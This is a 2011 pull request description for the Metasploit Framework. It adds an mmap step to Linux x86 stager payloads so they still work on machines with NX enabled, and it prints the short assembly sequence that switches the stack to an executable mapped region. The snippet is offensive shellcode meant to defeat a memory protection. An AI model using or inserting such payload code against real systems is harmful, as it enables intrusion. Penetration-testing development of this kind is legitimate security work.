rapid7/metasploit-framework — pull request #10 by rickyz (2011-11-13 03:26:15+00:00)
Title: Add mmap to linux x86 stager payloads.

Previously these payloads jumped to a stack address, which would fail on
machines with NX enabled.

The original metasploit bug for this is at:

https://dev.metasploit.com/redmine/issues/3038

The source of the added assembly (which switches the stack to an executable mmaped region) is:

xor %ecx,%ecx
mov $0x20,%ch
mov $0x7,%dl
push $0x22
pop %esi
xor %eax,%eax
mov $0xc0,%al
int $0x80
xchg %eax,%esp
shr %ecx
add %ecx,%esp